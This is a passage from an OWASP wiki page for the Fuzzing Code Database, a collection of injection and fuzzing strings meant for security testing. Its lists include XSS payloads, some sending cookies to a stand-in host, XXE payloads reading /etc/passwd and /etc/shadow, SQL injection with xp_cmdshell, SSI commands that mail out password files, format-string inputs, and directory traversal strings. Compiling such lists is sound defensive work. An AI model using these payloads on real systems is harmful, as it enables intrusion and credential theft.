&quot;&amp;lt;IMG%20SRC=&quot;&quot;javascript:alert('WXSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IMG%20SRC=&quot;&quot;javascript:alert('WXSS')&quot;&quot;&quot;<br /> &amp;lt;IMG%20SRC=JaVaScRiPt:alert('WXSS')&amp;gt;<br /> &amp;lt;IMG%20SRC=javascript:alert(&quot;WXSS&quot;)&amp;gt;<br /> &quot;&amp;lt;IMG%20SRC=`javascript:alert(&quot;&quot;'WXSS'&quot;&quot;)`&amp;gt;&quot;<br /> &quot;&amp;lt;IMG%20&quot;&quot;&quot;&quot;&quot;&quot;&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(&quot;&quot;WXSS&quot;&quot;)&amp;lt;/SCRIPT&amp;gt;&quot;&quot;&amp;gt;&quot;<br /> &amp;lt;IMG%20SRC=javascript:alert(String.fromCharCode(88,83,83))&amp;gt;<br /> &amp;lt;IMG%20SRC='javasc<br /> &quot;&amp;lt;IMG%20SRC=&quot;&quot;jav&quot;<br /> &quot;&amp;lt;IMG%20SRC=&quot;&quot;jav ascript:alert('WXSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IMG%20SRC=&quot;&quot;jav<br /> ascript:alert('WXSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IMG%20SRC=&quot;&quot;jav<br /> ascript:alert('WXSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IMG%20SRC=&quot;&quot;%20&amp;amp;#14;%20javascript:alert('WXSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IMG%20DYNSRC=&quot;&quot;javascript:alert('WXSS')&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IMG%20LOWSRC=&quot;&quot;javascript:alert('WXSS')&quot;&quot;&amp;gt;&quot;<br /> &amp;lt;IMG%20SRC='%26%23x6a;avasc%26%23000010ript:a%26%23x6c;ert(document.%26%23x63;ookie)'&amp;gt;<br /> &amp;lt;IMG%20SRC=javascript:alert('XSS')&amp;gt;<br /> &amp;lt;IMG%20SRC=&amp;amp;#0000106&amp;amp;#0000097&amp;amp;#0000118&amp;amp;#0000097&amp;amp;#0000115&amp;amp;#0000099&amp;amp;#0000114&amp;amp;#0000105&amp;amp;#0000112&amp;amp;#0000116&amp;amp;#0000058&amp;amp;#0000097&amp;amp;#0000108&amp;amp;#0000101&amp;amp;#0000114&amp;amp;#0000116&amp;amp;#0000040&amp;amp;#0000039&amp;amp;#0000088&amp;amp;#0000083&amp;amp;#0000083&amp;amp;#0000039&amp;amp;#0000041&amp;gt;<br /> &amp;lt;IMG%20SRC=&amp;amp;#x6A&amp;amp;#x61&amp;amp;#x76&amp;amp;#x61&amp;amp;#x73&amp;amp;#x63&amp;amp;#x72&amp;amp;#x69&amp;amp;#x70&amp;amp;#x74&amp;amp;#x3A&amp;amp;#x61&amp;amp;#x6C&amp;amp;#x65&amp;amp;#x72&amp;amp;#x74&amp;amp;#x28&amp;amp;#x27&amp;amp;#x58&amp;amp;#x53&amp;amp;#x53&amp;amp;#x27&amp;amp;#x29&amp;gt;<br /> '%3CIFRAME%20SRC=javascript:alert(%2527XSS%2527)%3E%3C/IFRAME%3E<br /> &quot;&amp;gt;&amp;lt;script&amp;gt;document.location='http://cookieStealer/cgi-bin/cookie.cgi?'+document.cookie&amp;lt;/script&amp;gt;<br /> %22%3E%3Cscript%3Edocument%2Elocation%3D%27http%3A%2F%2Fyour%2Esite%2Ecom%2Fcgi%2Dbin%2Fcookie%2Ecgi%3F%27%20%2Bdocument%2Ecookie%3C%2Fscript%3E<br /> ';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//;alert(String.fromCharCode(88,83,83))//\;alert(String.fromCharCode(88,83,83))//&amp;gt;&amp;lt;/SCRIPT&amp;gt;!--&amp;lt;SCRIPT&amp;gt;alert(String.fromCharCode(88,83,83))&amp;lt;/SCRIPT&amp;gt;=&amp;amp;{}<br /> '';!--&amp;lt;XSS&amp;gt;=&amp;amp;{()}&quot;<br /> &lt;/pre&gt; <br /> &lt;br&gt; <br /> <br /> === XML Attacks - (Update: 11 August 2009 - Total Statements: 15) ===<br /> &lt;pre&gt;Statements<br /> count(/child::node())<br /> x' or name()='username' or 'x'='y<br /> &amp;lt;name&amp;gt;','')); phpinfo(); exit;/*&amp;lt;/name&amp;gt;<br /> &amp;lt;![CDATA[&amp;lt;script&amp;gt;var n=0;while(true){n++;}&amp;lt;/script&amp;gt;]]&amp;gt;<br /> &amp;lt;![CDATA[&amp;lt;]]&amp;gt;SCRIPT&amp;lt;![CDATA[&amp;gt;]]&amp;gt;alert('XSS');&amp;lt;![CDATA[&amp;lt;]]&amp;gt;/SCRIPT&amp;lt;![CDATA[&amp;gt;]]&amp;gt;<br /> &quot;&amp;lt;?xml version=&quot;&quot;1.0&quot;&quot; encoding=&quot;&quot;ISO-8859-1&quot;&quot;?&amp;gt;&amp;lt;foo&amp;gt;&amp;lt;![CDATA[&amp;lt;]]&amp;gt;SCRIPT&amp;lt;![CDATA[&amp;gt;]]&amp;gt;alert('XSS');&amp;lt;![CDATA[&amp;lt;]]&amp;gt;/SCRIPT&amp;lt;![CDATA[&amp;gt;]]&amp;gt;&amp;lt;/foo&amp;gt;&quot;<br /> &quot;&amp;lt;?xml version=&quot;&quot;1.0&quot;&quot; encoding=&quot;&quot;ISO-8859-1&quot;&quot;?&amp;gt;&amp;lt;foo&amp;gt;&amp;lt;![CDATA[' or 1=1 or ''=']]&amp;gt;&amp;lt;/foo&amp;gt;&quot;<br /> &quot;&amp;lt;?xml version=&quot;&quot;1.0&quot;&quot; encoding=&quot;&quot;ISO-8859-1&quot;&quot;?&amp;gt;&amp;lt;!DOCTYPE foo [&amp;lt;!ELEMENT foo ANY&amp;gt;&amp;lt;!ENTITY xxe SYSTEM &quot;&quot;file://c:/boot.ini&quot;&quot;&amp;gt;]&amp;gt;&amp;lt;foo&amp;gt;&amp;amp;xxe;&amp;lt;/foo&amp;gt;&quot;<br /> &quot;&amp;lt;?xml version=&quot;&quot;1.0&quot;&quot; encoding=&quot;&quot;ISO-8859-1&quot;&quot;?&amp;gt;&amp;lt;!DOCTYPE foo [&amp;lt;!ELEMENT foo ANY&amp;gt;&amp;lt;!ENTITY xxe SYSTEM &quot;&quot;file:////etc/passwd&quot;&quot;&amp;gt;]&amp;gt;&amp;lt;foo&amp;gt;&amp;amp;xxe;&amp;lt;/foo&amp;gt;&quot;<br /> &quot;&amp;lt;?xml version=&quot;&quot;1.0&quot;&quot; encoding=&quot;&quot;ISO-8859-1&quot;&quot;?&amp;gt;&amp;lt;!DOCTYPE foo [&amp;lt;!ELEMENT foo ANY&amp;gt;&amp;lt;!ENTITY xxe SYSTEM &quot;&quot;file:////etc/shadow&quot;&quot;&amp;gt;]&amp;gt;&amp;lt;foo&amp;gt;&amp;amp;xxe;&amp;lt;/foo&amp;gt;&quot;<br /> &quot;&amp;lt;?xml version=&quot;&quot;1.0&quot;&quot; encoding=&quot;&quot;ISO-8859-1&quot;&quot;?&amp;gt;&amp;lt;!DOCTYPE foo [&amp;lt;!ELEMENT foo ANY&amp;gt;&amp;lt;!ENTITY xxe SYSTEM &quot;&quot;file:////dev/random&quot;&quot;&amp;gt;]&amp;gt;&amp;lt;foo&amp;gt;&amp;amp;xxe;&amp;lt;/foo&amp;gt;&quot;<br /> &quot;&amp;lt;xml ID=I&amp;gt;&amp;lt;X&amp;gt;&amp;lt;C&amp;gt;&amp;lt;![CDATA[&amp;lt;IMG SRC=&quot;&quot;javas]]&amp;gt;&amp;lt;![CDATA[cript:alert('XSS');&quot;&quot;&amp;gt;]]&amp;gt;&quot;<br /> &quot;&amp;lt;xml ID=&quot;&quot;xss&quot;&quot;&amp;gt;&amp;lt;I&amp;gt;&amp;lt;B&amp;gt;&amp;lt;IMG SRC=&quot;&quot;javas&amp;lt;!-- --&amp;gt;cript:alert('XSS')&quot;&quot;&amp;gt;&amp;lt;/B&amp;gt;&amp;lt;/I&amp;gt;&amp;lt;/xml&amp;gt;&amp;lt;SPAN DATASRC=&quot;&quot;#xss&quot;&quot; DATAFLD=&quot;&quot;B&quot;&quot; DATAFORMATAS=&quot;&quot;HTML&quot;&quot;&amp;gt;&amp;lt;/SPAN&amp;gt;&amp;lt;/C&amp;gt;&amp;lt;/X&amp;gt;&amp;lt;/xml&amp;gt;&amp;lt;SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML&amp;gt;&amp;lt;/SPAN&amp;gt;&quot;<br /> &quot;&amp;lt;xml SRC=&quot;&quot;xsstest.xml&quot;&quot; ID=I&amp;gt;&amp;lt;/xml&amp;gt;&amp;lt;SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML&amp;gt;&amp;lt;/SPAN&amp;gt;&quot;<br /> &quot;&amp;lt;HTML xmlns:xss&amp;gt;&amp;lt;?import namespace=&quot;&quot;xss&quot;&quot; implementation=&quot;&quot;http://ha.ckers.org/xss.htc&quot;&quot;&amp;gt;&amp;lt;xss:xss&amp;gt;XSS&amp;lt;/xss:xss&amp;gt;&amp;lt;/HTML&amp;gt;&quot;<br /> &lt;/pre&gt; <br /> === Format String Statements - (Update: xx/xx/xx - Total Statements: 28) ===<br /> &lt;pre&gt;%s%p%x%d<br /> .1024d<br /> %.2049d<br /> %p%p%p%p<br /> %x%x%x%x<br /> %d%d%d%d<br /> %s%s%s%s<br /> %99999999999s<br /> %08x<br /> %%20d<br /> %%20n<br /> %%20x<br /> %%20s<br /> %s%s%s%s%s%s%s%s%s%s<br /> %p%p%p%p%p%p%p%p%p%p<br /> %#0123456x%08x%x%s%p%d%n%o%u%c%h%l%q%j%z%Z%t%i%e%g%f%a%C%S%08x%%<br /> f(x)=%s x 123<br /> f(x)=%x x 255<br /> %x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x<br /> %s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s<br /> XXXXX.%p<br /> XXXXX`perl -e 'print &quot;.%p&quot; x 80'`<br /> `perl -e 'print &quot;.%p&quot; x 80'`%n<br /> %08x.%08x.%08x.%08x.%08x\n<br /> XXX0_%08x.%08x.%08x.%08x.%08x\n<br /> %.16705u%2\$hn<br /> \x10\x01\x48\x08_%08x.%08x.%08x.%08x.%08x|%s|<br /> ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;id &amp;gt; /tmp/file; exit;<br /> &lt;/pre&gt; <br /> ==== Project Contributor ====<br /> <br /> Project Leader: [[:User:Wagner.elias|'''Wagner Elias''']] <br /> <br /> Reviewer: [[:User:eneves|'''Eduardo Neves''']] <br /> <br /> Contributor: [[:User:ulisses.castro|'''Ulisses Castro''']] <br /> <br /> ==== Feedback and Participation ====<br /> <br /> We hope you find the Fuzzing Code Database useful. Please contribute to the Project by volunteering for one of the tasks, sending your comments, questions, and suggestions to wagner.elias |at| owasp.org <br /> <br /> ==== Project Identification ====<br /> <br /> {{Template:OWASP Project Identification Tab<br /> | project_name = OWASP Fuzzing Code Database<br /> | project_description = <br /> | leader_name = Wagner Elias<br /> | leader_email = <br /> | leader_username = Wagner.elias<br /> | maintainer_name = <br /> | maintainer_email = <br /> | maintainer_username = <br /> | contributor_name1 = <br /> | contributor_email1 = <br /> | contributor_username1 = <br /> | contributor_name2 = <br /> | contributor_email2 = <br /> | contributor_username2 = <br /> | contributor_name3 = <br /> | contributor_email3 = <br /> | contributor_username3 = <br /> | contributor_name4 = <br /> | contributor_email4 = <br /> | contributor_username4 = <br /> | contributor_name5 = <br /> | contributor_email5 = <br /> | contributor_username5 = <br /> | contributor_name6 = <br /> | contributor_email6 = <br /> | contributor_username6 = <br /> | contributor_name7 = <br /> | contributor_email7 = <br /> | contributor_username7 = <br /> | contributor_name8 = <br /> | contributor_email8 = <br /> | contributor_username8 = <br /> | contributor_name9 = <br /> | contributor_email9 = <br /> | contributor_username9 = <br /> | contributor_name10 = <br /> | contributor_email10 = <br /> | contributor_username10 = <br /> | pamphlet_link = <br /> | mailing_list_name = owasp-fuzzing-code-database<br /> | links_url1 = <br /> | links_name1 = <br /> | links_url2 = <br /> | links_name2 = <br /> | links_url3 = <br /> | links_name3 = <br /> | links_url4 = <br /> | links_name4 = <br /> | links_url5 = <br /> | links_name5 = <br /> | links_url6 = <br /> | links_name6 = <br /> | links_url7 = <br /> | links_name7 = <br /> | links_url8 = <br /> | links_name8 = <br /> | links_url9 = <br /> | links_name9 = <br /> | links_url10 = <br /> | links_name10 = <br /> | project_road_map =<br /> | project_health_status = <br /> | current_release_name = <br /> | current_release_date = <br /> | current_release_download_link = <br /> | current_release_rating = <br /> | current_release_leader_name = <br /> | current_release_leader_email = <br /> | current_release_leader_username = <br /> | last_reviewed_release_name = <br /> | last_reviewed_release_date = <br /> | last_reviewed_release_download_link = <br /> | last_reviewed_release_rating = <br /> | last_reviewed_release_leader_name = <br /> | last_reviewed_release_leader_email = <br /> | last_reviewed_release_leader_username = <br /> | old_release_name1 = <br /> | old_release_date1 = <br /> | old_release_download_link1 = <br /> | old_release_name2 = <br /> | old_release_date2 = <br /> | old_release_download_link2 = <br /> | old_release_name3 = <br /> | old_release_date3 = <br /> | old_release_download_link3 = <br /> | old_release_name4 = <br /> | old_release_date4 = <br /> | old_release_download_link4 = <br /> | old_release_name5 = <br /> | old_release_date5 = <br /> | old_release_download_link5 = <br /> }} __NOTOC__ &lt;headertabs /&gt; <br /> <br /> [[Category:OWASP_Project|Fuzzing Code Database]] [[Category:OWASP_Document]] [[Category:OWASP_Alpha_Quality_Document]]</div>

Adam.muntner https://wiki.owasp.org/index.php?title=Category:OWASP_Fuzzing_Code_Database&diff=80021 2010-03-17T01:49:50Z

<p>Adam.muntner: /* Cold Fusion Default Files - (Update: 16 March 2009 - Total Statements: 31 */</p> <hr /> <div>This database is a collection of several statements used in code injection, fuzzing and brute-force aproach. All too often security professionals rely on their own repositories of statements collected from assessments they've conducted. These repositories are prone to being incomplete or outdated. We want to collect all these statements, merging the statements from several projects like [[WebScarab]], [[WebSlayer]] and [[JBroFuzz]] with member contributions to build a comprehensive dataset of effective statements to provide better testing results. Please add your own statements and check out the statements already added. <br /> <br /> ==== News ====<br /> <br /> '''02 February 2010'''' <br /> <br /> *Created new Category Lotus/Notes Files<br /> <br /> '''11 August 2009''' <br /> <br /> *Created new Category: XML Attacks<br /> <br /> ''Update Statements'' <br /> <br /> *15 new XML Statements <br /> *93 new SQL Injections Statements <br /> *67 new Traversal Directory Statements <br /> *Delete 33 XSS Statement Duplicate <br /> *30 New XSS Statements<br /> <br /> '''7 August 2009''' <br /> <br /> *Updated the objectives of the project.<br /> <br /> '''21 July 2009''' <br /> <br /> *Set the team responsible for the project.<br /> <br /> ==== Goals ====<br /> <br /> This project intend to create a database that concentrate all tools which are based on wordlists such as Webscarab, JBroFuzz, Web Slayer , Dirbuster. and others. In addition to current tools developed by OWASP members we will create a database following a style similar to Open Vulnerability and Assessment Language (OVAL) where any tool can adopt and use a XML file maintained by OWASP. <br /> <br /> In addition, the following functionalities will be included on this project: <br /> <br /> 1 - The statements of ASDR Project 2 - Browser 3 - Operational System 4 - Databases <br /> <br /> An URL will also be published to create an collaborative environment for the maintenance process where the following features are planned: <br /> <br /> 1 - Deploy a process where a new statement can be suggested and registered if is not valid yet and not maintained in other database. <br /> <br /> 2 - A list where besides the statement, a single id will be maintained to identify each statement with a description and the results of the exploitation. <br /> <br /> 3 - Possibility to support users on the report of their own experiences with the statements. <br /> <br /> ==== Statements ====<br /> <br /> == Cold Fusion Default Files - (Update: 16 March 2009 - Total Statements: 65) ===<br /> CFIDE/Administrator/<br /> CFIDE/Administrator/index.cfm<br /> CFIDE/Administrator/login.cfm<br /> CFIDE/Administrator/Application.cfm<br /> CFIDE/Application.cfm<br /> CFIDE/adminapi/<br /> CFIDE/adminapi/Application.cfm<br /> CFIDE/adminapi/administrator.cfc<br /> CFIDE/adminapi/base.cfc<br /> CFIDE/adminapi/customtags/<br /> CFIDE/adminapi/customtags/l10n.cfm<br /> CFIDE/adminapi/customtags/resources<br /> CFIDE/adminapi/customtags/resources/<br /> CFIDE/adminapi/datasource.cfc<br /> CFIDE/adminapi/debugging.cfc<br /> CFIDE/adminapi/eventgateway.cfc<br /> CFIDE/adminapi/extensions.cfc<br /> CFIDE/adminapi/mail.cfc<br /> CFIDE/adminapi/runtime.cfc<br /> CFIDE/adminapi/security.cfc<br /> CFIDE/adminapi/_datasource/<br /> CFIDE/adminapi/_datasource/formatjdbcurl.cfm<br /> CFIDE/adminapi/_datasource/getaccessdefaultsfromregistry.cfm<br /> CFIDE/adminapi/_datasource/geturldefaults.cfm<br /> CFIDE/adminapi/_datasource/setdsn.cfm<br /> CFIDE/adminapi/_datasource/setmsaccessregistry.cfm<br /> CFIDE/adminapi/_datasource/setsldatasource.cfm<br /> CFIDE/classes/<br /> CFIDE/classes/cf-j2re-win.cab<br /> CFIDE/classes/cfapplets.jar<br /> CFIDE/classes/images<br /> CFIDE/componentutils/<br /> CFIDE/componentutils/Application.cfm<br /> CFIDE/componentutils/cfcexplorer.cfc<br /> CFIDE/componentutils/cfcexplorer_utils.cfm<br /> CFIDE/componentutils/componentdetail.cfm<br /> CFIDE/componentutils/componentdoc.cfm<br /> CFIDE/componentutils/componentlist.cfm<br /> CFIDE/componentutils/gatewaymenu<br /> CFIDE/componentutils/gatewaymenu/<br /> CFIDE/componentutils/gatewaymenu/menu.cfc<br /> CFIDE/componentutils/gatewaymenu/menunode.cfc<br /> CFIDE/componentutils/login.cfm<br /> CFIDE/componentutils/packagelist.cfm<br /> CFIDE/componentutils/utils.cfc<br /> CFIDE/componentutils/_component_cfcToHTML.cfm<br /> CFIDE/componentutils/_component_cfcToMCDL.cfm?<br /> CFIDE/componentutils/_component_style.cfm<br /> CFIDE/componentutils/_component_utils.cfm<br /> CFIDE/debug/<br /> CFIDE/debug/images/<br /> CFIDE/debug/includes/<br /> CFIDE/images/<br /> CFIDE/images/skins/<br /> CFIDE/install.cfm<br /> CFIDE/installers/<br /> CFIDE/installers/CFMX7DreamWeaverExtensions.mxp<br /> CFIDE/installers/CFReportBuilderInstaller.exe<br /> CFIDE/probe.cfm<br /> CFIDE/scripts/<br /> CFIDE/scripts/css/<br /> CFIDE/scripts/xsl/<br /> CFIDE/wizards/<br /> CFIDE/wizards/common/<br /> CFIDE/wizards/common/utils.cfc<br /> <br /> <br /> === All HTTP Verbs Defined in RFC's + 1 ARBITRARY Verb - (Update: 16 March 2009 - Total Statements: 31) ===<br /> &lt;pre&gt;OPTIONS<br /> GET<br /> HEAD<br /> POST<br /> PUT<br /> DELETE<br /> TRACE<br /> CONNECT<br /> PROPFIND<br /> PROPPATCH<br /> MKCOL<br /> COPY<br /> MOVE<br /> LOCK<br /> UNLOCK<br /> VERSION-CONTROL<br /> REPORT<br /> CHECKOUT<br /> CHECKIN<br /> UNCHECKOUT<br /> MKWORKSPACE<br /> UPDATE<br /> LABEL<br /> MERGE<br /> BASELINE-CONTROL<br /> MKACTIVITY<br /> ORDERPATCH<br /> ACL<br /> PATCH<br /> SEARCH<br /> ARBITRARY<br /> &lt;/pre&gt;<br /> <br /> === Lotus/Notes Files -(Update: 02 February 2010 - Total Statements: 111) ===<br /> &lt;pre&gt;/852566C90012664F<br /> /admin4.nsf<br /> /admin5.nsf<br /> /admin.nsf<br /> /agentrunner.nsf<br /> /alog.nsf<br /> /a_domlog.nsf<br /> /bookmark.nsf<br /> /busytime.nsf<br /> /catalog.nsf<br /> /certa.nsf<br /> /certlog.nsf<br /> /certsrv.nsf<br /> /chatlog.nsf<br /> /clbusy.nsf<br /> /cldbdir.nsf<br /> /clusta4.nsf<br /> /collect4.nsf<br /> /da.nsf<br /> /dba4.nsf<br /> /dclf.nsf<br /> /DEASAppDesign.nsf<br /> /DEASLog01.nsf<br /> /DEASLog02.nsf<br /> /DEASLog03.nsf<br /> /DEASLog04.nsf<br /> /DEASLog05.nsf<br /> /DEASLog.nsf<br /> /decsadm.nsf<br /> /decslog.nsf<br /> /DEESAdmin.nsf<br /> /dirassist.nsf<br /> /doladmin.nsf<br /> /domadmin.nsf<br /> /domcfg.nsf<br /> /domguide.nsf<br /> /domlog.nsf<br /> /dspug.nsf<br /> /events4.nsf<br /> /events5.nsf<br /> /events.nsf<br /> /event.nsf<br /> /homepage.nsf<br /> /iNotes/Forms5.nsf/$DefaultNav<br /> /jotter.nsf<br /> /leiadm.nsf<br /> /leilog.nsf<br /> /leivlt.nsf<br /> /log4a.nsf<br /> /log.nsf<br /> /l_domlog.nsf<br /> /mab.nsf<br /> /mail10.box<br /> /mail1.box<br /> /mail2.box<br /> /mail3.box<br /> /mail4.box<br /> /mail5.box<br /> /mail6.box<br /> /mail7.box<br /> /mail8.box<br /> /mail9.box<br /> /mail.box<br /> /msdwda.nsf<br /> /mtatbls.nsf<br /> /mtstore.nsf<br /> /names.nsf<br /> /nntppost.nsf<br /> /nntp/nd000001.nsf<br /> /nntp/nd000002.nsf<br /> /nntp/nd000003.nsf<br /> /ntsync45.nsf<br /> /perweb.nsf<br /> /qpadmin.nsf<br /> /quickplace/quickplace/main.nsf<br /> /reports.nsf<br /> /sample/siregw46.nsf<br /> /schema50.nsf<br /> /setupweb.nsf<br /> /setup.nsf<br /> /smbcfg.nsf<br /> /smconf.nsf<br /> /smency.nsf<br /> /smhelp.nsf<br /> /smmsg.nsf<br /> /smquar.nsf<br /> /smsolar.nsf<br /> /smtime.nsf<br /> /smtpibwq.nsf<br /> /smtpobwq.nsf<br /> /smtp.box<br /> /smtp.nsf<br /> /smvlog.nsf<br /> /srvnam.htm<br /> /statmail.nsf<br /> /statrep.nsf<br /> /stauths.nsf<br /> /stautht.nsf<br /> /stconfig.nsf<br /> /stconf.nsf<br /> /stdnaset.nsf<br /> /stdomino.nsf<br /> /stlog.nsf<br /> /streg.nsf<br /> /stsrc.nsf<br /> /userreg.nsf<br /> /vpuserinfo.nsf<br /> /webadmin.nsf<br /> /web.nsf<br /> /.nsf/../winnt/win.ini<br /> /?Open <br /> &lt;/pre&gt;<br /> <br /> === SQL Injection -(Update: 11 August 2009 - Total Statements: 126) ===<br /> &lt;pre&gt;Statement<br /> 'sqlvuln<br /> '+sqlvuln<br /> sqlvuln;<br /> (sqlvuln)<br /> a' or 1=1--<br /> &quot;a&quot;&quot; or 1=1--&quot;<br /> or a = a<br /> a' or 'a' = 'a<br /> 1 or 1=1<br /> a' waitfor delay '0:0:10'--<br /> 1 waitfor delay '0:0:10'--<br /> declare @q nvarchar (4000) select @q =<br /> 0x770061006900740066006F0072002000640065006C00610079002000270030003A0030003A<br /> 0<br /> 031003000270000<br /> declare @s varchar(22) select @s =<br /> 0x77616974666F722064656C61792027303A303A31302700 exec(@s)<br /> 0x730065006c00650063007400200040004000760065007200730069006f006e00 exec(@q)<br /> declare @s varchar (8000) select @s = 0x73656c65637420404076657273696f6e<br /> exec(@s)<br /> a'<br /> ?<br /> ' or 1=1<br /> ‘ or 1=1 --<br /> x' AND userid IS NULL; --<br /> x' AND email IS NULL; --<br /> anything' OR 'x'='x<br /> x' AND 1=(SELECT COUNT(*) FROM tabname); --<br /> x' AND members.email IS NULL; --<br /> x' OR full_name LIKE '%Bob%<br /> 23 OR 1=1<br /> '; exec master..xp_cmdshell 'ping 172.10.1.255'--<br /> '<br /> '%20or%20''='<br /> '%20or%20'x'='x<br /> %20or%20x=x<br /> ')%20or%20('x'='x<br /> 0 or 1=1<br /> ' or 0=0 --<br /> &quot; or 0=0 --<br /> or 0=0 --<br /> ' or 0=0 #<br /> or 0=0 #&quot;<br /> or 0=0 #<br /> ' or 1=1--<br /> &quot; or 1=1--<br /> ' or '1'='1'--<br /> ' or 1 --'<br /> or 1=1--<br /> or%201=1<br /> or%201=1 --<br /> ' or 1=1 or ''='<br /> or 1=1 or &quot;&quot;=<br /> ' or a=a--<br /> or a=a<br /> ') or ('a'='a<br /> ) or (a=a<br /> hi or a=a<br /> hi or 1=1 --&quot;<br /> hi' or 1=1 --<br /> hi' or 'a'='a<br /> hi') or ('a'='a<br /> &quot;hi&quot;&quot;) or (&quot;&quot;a&quot;&quot;=&quot;&quot;a&quot;<br /> 'hi' or 'x'='x';<br /> @variable<br /> ,@variable<br /> PRINT<br /> PRINT @@variable<br /> select<br /> insert<br /> as<br /> or<br /> procedure<br /> limit<br /> order by<br /> asc<br /> desc<br /> delete<br /> update<br /> distinct<br /> having<br /> truncate<br /> replace<br /> like<br /> handler<br /> bfilename<br /> ' or username like '%<br /> ' or uname like '%<br /> ' or userid like '%<br /> ' or uid like '%<br /> ' or user like '%<br /> exec xp<br /> exec sp<br /> '; exec master..xp_cmdshell<br /> '; exec xp_regread<br /> t'exec master..xp_cmdshell 'nslookup www.google.com'--<br /> --sp_password<br /> \x27UNION SELECT<br /> ' UNION SELECT<br /> ' UNION ALL SELECT<br /> ' or (EXISTS)<br /> ' (select top 1<br /> '||UTL_HTTP.REQUEST<br /> 1;SELECT%20*<br /> to_timestamp_tz<br /> tz_offset<br /> &amp;lt;&amp;gt;&quot;'%;)(&amp;amp;+<br /> '%20or%201=1<br /> %27%20or%201=1<br /> %20$(sleep%2050)<br /> %20'sleep%2050'<br /> char%4039%41%2b%40SELECT<br /> &amp;amp;apos;%20OR<br /> 'sqlattempt1<br /> (sqlattempt2)<br /> |<br /> %7C<br /> *|<br /> %2A%7C<br /> *(|(mail=*))<br /> %2A%28%7C%28mail%3D%2A%29%29<br /> *(|(objectclass=*))<br /> %2A%28%7C%28objectclass%3D%2A%29%29<br /> (<br /> %28<br /> )<br /> %29<br /> &amp;amp;<br /> %26<br /> !<br /> %21<br /> ' or 1=1 or ''='<br /> ' or ''='<br /> x' or 1=1 or 'x'='y<br /> /<br /> //<br /> //*<br /> */*<br /> a' or 3=3--<br /> &quot;a&quot;&quot; or 3=3--&quot;<br /> ' or 3=3<br /> ‘ or 3=3 --<br /> &lt;/pre&gt; <br /> === SSI (Server Side Includes) - (Update: xx/xx/xx - Total Statements: 4) ===<br /> &lt;pre&gt;&amp;lt;!--#exec cmd=&quot;/bin/ls /&quot; --&amp;gt;&amp;lt;br/&amp;gt;<br /> &amp;lt;!--#exec cmd=&quot;cat /etc/passwd&quot; --&amp;gt;&amp;lt;br/&amp;gt;<br /> &amp;lt;!--#exec cmd=&quot;find / -name *.* -print&quot; --&amp;gt;&amp;lt;br/&amp;gt;<br /> &amp;lt;!--#exec cmd=&quot;mail Foobar@email.de &amp;lt;mailto:Foobar@email.de&amp;gt; &amp;lt; cat /etc/passwd&quot; --&amp;gt;&amp;lt;br/&amp;gt;<br /> &lt;/pre&gt; <br /> === Directory Traversal - (Update: 11 August 2009 - Total Statements: 132) ===<br /> &lt;pre&gt;Statement<br /> \..\WINDOWS\win.ini<br /> \..\..\WINDOWS\win.ini<br /> \..\..\..\WINDOWS\win.ini<br /> \..\..\..\..\WINDOWS\win.ini<br /> \..\..\..\..\..\WINDOWS\win.ini<br /> \..\..\..\..\..\..\WINDOWS\win.ini<br /> %5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69<br /> %5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69<br /> %5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69<br /> %5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69<br /> %5c%2e%2e%5c%2e%2e%5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69<br /> %5c%2e%2e%5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69<br /> %5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69<br /> %%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%35%37%%34%39%%34%65%%34%34%%34%66%%35%37%%35%33%%35%63%%37%37%%36%39%%36%65%%32%65%%36%39%%36%65%%36%39<br /> %%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%35%37%%34%39%%34%65%%34%34%%34%66%%35%37%%35%33%%35%63%%37%37%%36%39%%36%65%%32%65%%36%39%%36%65%%36%39<br /> %%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%35%37%%34%39%%34%65%%34%34%%34%66%%35%37%%35%33%%35%63%%37%37%%36%39%%36%65%%32%65%%36%39%%36%65%%36%39<br /> %%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%35%37%%34%39%%34%65%%34%34%%34%66%%35%37%%35%33%%35%63%%37%37%%36%39%%36%65%%32%65%%36%39%%36%65%%36%39<br /> ..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> 